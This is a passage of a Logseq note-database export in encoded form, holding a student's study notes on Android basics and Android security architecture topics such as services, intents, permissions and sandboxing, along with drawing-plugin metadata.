HelloService.class);\\nstartService(intent);\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Flogseq____&quot;,284,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Vlogseq____&quot;,282,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-bdd0-4555-9edf-eeeb6876f2d7logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;{{renderer excalidraw, excalidraw-2024-10-22-15-59-19}}logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Flogseq____&quot;,287,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Slogseq____&quot;,294,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Vlogseq____&quot;,293,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-422e-4dbb-aa2d-ad21dc1f9389logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;The service is then explicitly stopped (either by the client or itself)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Flogseq____&quot;,286,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Vlogseq____&quot;,283,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6bd8-44c7-8242-c3b438887a64logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Client binds to remote service #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Flogseq____&quot;,283,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Vlogseq____&quot;,278,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Hlogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7e84-4110-aabe-97aa0810d781logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[294,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:logseq.macro-namelogseq____&quot;,logseq____&quot;rendererlogseq____&quot;,logseq____&quot;~:logseq.macro-argumentslogseq____&quot;,[logseq____&quot;excalidrawlogseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-59-19logseq____&quot;]],536870916]],[logseq____&quot;^15logseq____&quot;,[294,logseq____&quot;^Wlogseq____&quot;,logseq____&quot;macrologseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[294,logseq____&quot;^Tlogseq____&quot;,logseq____&quot;renderer excalidraw excalidraw-2024-10-22-15-59-19logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^Klogseq____&quot;,1740128172081,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;topicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^11logseq____&quot;,logseq____&quot;Topicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^Blogseq____&quot;,1740129304099,536871371]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c6-dfe5-465b-a4e6-03e345efc12flogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Service Components]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Flogseq____&quot;,308,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Hlogseq____&quot;,26,536873220]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-2a26-4fbe-ac48-8fb55ba8d03dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Content Provider]]logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Flogseq____&quot;,297,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Ulogseq____&quot;,25,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Ulogseq____&quot;,412,536873220]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Hlogseq____&quot;,412,536873220]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e268-4165-8b60-9e5e1d830937logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 2 - Security Architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Flogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Vlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536873220]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c8b5-42d5-9105-944211a77bdelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 1 - Android Basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Flogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Vlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536873220]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-03ca-4ffd-8ea2-9e593b8c8bfelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Application Manifest]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Flogseq____&quot;,302,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Hlogseq____&quot;,28,536873220]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c7dd-41bd-b3d4-16c23e1babb2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[APK (Android Package)]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Flogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Hlogseq____&quot;,23,536873220]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1296-438c-b461-56d977b4f387logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Activity]]logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Flogseq____&quot;,301,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Ulogseq____&quot;,27,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Ulogseq____&quot;,411,536873220]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Hlogseq____&quot;,411,536873220]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-aa14-4f4d-a59b-30da57df2ba0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Secure Architecture Principles]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Flogseq____&quot;,310,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Hlogseq____&quot;,225,536873220]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-084b-4518-99b0-8dafbdf2bbf6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Sandboxing]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Flogseq____&quot;,304,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Hlogseq____&quot;,183,536873220]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b6a3-4a4e-ab6e-d63d7f8f0319logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Access Control]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Flogseq____&quot;,306,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Hlogseq____&quot;,37,536873220]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8606-4fce-b5d0-73c52f7d9357logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Intent Messages]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Flogseq____&quot;,303,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Hlogseq____&quot;,75,536873220]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-89cf-440d-8333-2b2cb0ff9f2clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Permissions]]logseq____&quot;,536871371]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Flogseq____&quot;,307,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Ulogseq____&quot;,296,536871372]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Ulogseq____&quot;,354,536871372]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Hlogseq____&quot;,354,536873220]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9314-4077-bdf3-410e449d7207logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Package Integrity and Authenticity]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Flogseq____&quot;,311,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Hlogseq____&quot;,144,536873220]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7095-4795-bf70-74b5a40c4b2elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Security Considerations]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Flogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Hlogseq____&quot;,257,536873220]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-97d0-423b-bbe7-6d72c775ab7clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^Klogseq____&quot;,1740128172090,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-58-29logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^11logseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-58-29logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:excalidraw-pluginlogseq____&quot;,true],536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,logseq____&quot;truelogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^Blogseq____&quot;,1740128172090,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1703-4982-832b-11d447cb863alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^Klogseq____&quot;,1740128172104,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;excalidraw-pluginlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^11logseq____&quot;,logseq____&quot;excalidraw-pluginlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^Blogseq____&quot;,1740128172104,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b44e-4cc0-a3c4-de3c662063a4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;excalidraw-plugin:: true\\n\\nlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;~:block/invalid-propertieslogseq____&quot;,[logseq____&quot;~#setlogseq____&quot;,[]],536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Flogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Xlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Vlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Ulogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Ulogseq____&quot;,315,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^:logseq____&quot;,true,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,true],536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^1logseq____&lt;logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,logseq____&quot;truelogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Hlogseq____&quot;,315,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-4764-43d1-9dd5-716a006aaec4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[317,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;#+BEGIN_IMPORTANT\\nThis file is used to store excalidraw information, Please do not manually edit this 